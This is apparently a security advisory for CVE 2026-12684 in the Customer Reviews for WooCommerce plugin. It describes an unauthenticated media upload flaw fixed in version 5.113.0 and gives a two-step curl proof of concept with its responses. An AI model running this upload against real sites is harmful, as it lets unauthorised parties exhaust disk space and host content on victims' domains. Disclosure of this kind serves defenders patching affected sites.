Customer Reviews for WooCommerce < 5.113.0 – Unauthenticated Arbitrary Media Upload via cr_upload_media | CVE 2026-12684

Description

The plugin does not perform authentication, capability, or nonce checks on one of its media upload AJAX actions when the review media attachment feature is enabled, allowing unauthenticated users to upload media files (bounded to an image and video allowlist) to the Media Library and create attachment posts, leading to media library pollution and disk space exhaustion.

Proof of Concept

Affected: customer-reviews-woocommerce <= 5.112.0 (validated on 5.112.0 with WooCommerce active); fixed in 5.113.0.

Prerequisite (admin configuration): review media attachments enabled, ivole_attach_image = yes ("allow customers to attach images/videos to reviews"). On affected versions the cr_upload_media nopriv handler performed no nonce, capability, or authentication check regardless of the Review Permissions setting, so the upload was reachable even on sites that restrict who may review.

STEP 1 - Send an unauthenticated upload request (no cookies, no nonce):

curl -s -X POST 'https://victim/wp-admin/admin-ajax.php' \
  -F 'action=cr_upload_media' \
  -F 'cr_item=1' \
  -F 'cr_file=@proof.jpg;type=image/jpeg'

Response:
{"code":200,"message":"OK","attachment":{"id":9,"key":"c6425034e3cabae7cad5"}}

The "id" value is the new attachment post ID; the file was written to the Media Library with no authentication.

STEP 2 - Confirm the uploaded file is publicly retrievable:

curl -s -o /dev/null -w "%{http_code}\n" 'https://victim/wp-content/uploads/2026/05/proof.jpg'
-> 200

Impact bounds: the handler enforces an extension allowlist (png, jpg, jpeg, gif, mp4, mpeg, ogg, webm, mov, avi) plus WordPress MIME validation, so .php/.htaccess uploads are rejected (code 502) and there is no code execution. Real impact is unauthenticated media library pollution, attacker-hosted content served from the victim domain, and disk-space exhaustion (DoS) via repeated uploads.